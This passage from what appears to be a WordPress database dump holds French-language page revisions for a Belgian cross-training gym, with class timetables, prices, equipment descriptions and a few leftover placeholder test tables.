5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:47:43', '2013-06-16 14:47:43', '', 11, 'http://www.crosstrainingcenter.be/?p=145', 0, 'revision', '', 0),
(146, 1, '2013-06-23 13:16:35', '2013-06-23 13:16:35', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table]\r\nYear,Make,Model,Length\r\n1997,Ford,E350,2.34\r\n2000,Mercury,Cougar,2.38\r\n[/table]\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 13:16:35', '2013-06-23 13:16:35', '', 11, 'http://www.crosstrainingcenter.be/?p=146', 0, 'revision', '', 0),
(147, 1, '2013-06-23 13:18:02', '2013-06-23 13:18:02', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table caption=\&quot;Just test table\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]	\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 13:18:02', '2013-06-23 13:18:02', '', 11, 'http://www.crosstrainingcenter.be/?p=147', 0, 'revision', '', 0),
(148, 1, '2013-07-03 13:56:11', '2013-07-03 13:56:11', '', 'Julie Pierrard', '', 'publish', 'closed', 'closed', '', '148', '', '', '2013-07-03 14:13:21', '2013-07-03 14:13:21', '', 0, 'http://www.crosstrainingcenter.be/?post_type=collaborateur&amp;#038;p=148', 0, 'collaborateur', '', 0),
(150, 1, '2013-07-03 13:59:47', '2013-07-03 13:59:47', '', 'Mathieu Gille', '', 'publish', 'closed', 'closed', '', '150', '', '', '2013-07-03 14:13:07', '2013-07-03 14:13:07', '', 0, 'http://www.crosstrainingcenter.be/?post_type=collaborateur&amp;#038;p=150', 0, 'collaborateur', '', 0),
(330, 1, '2013-07-10 16:10:46', '2013-07-10 16:10:46', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; 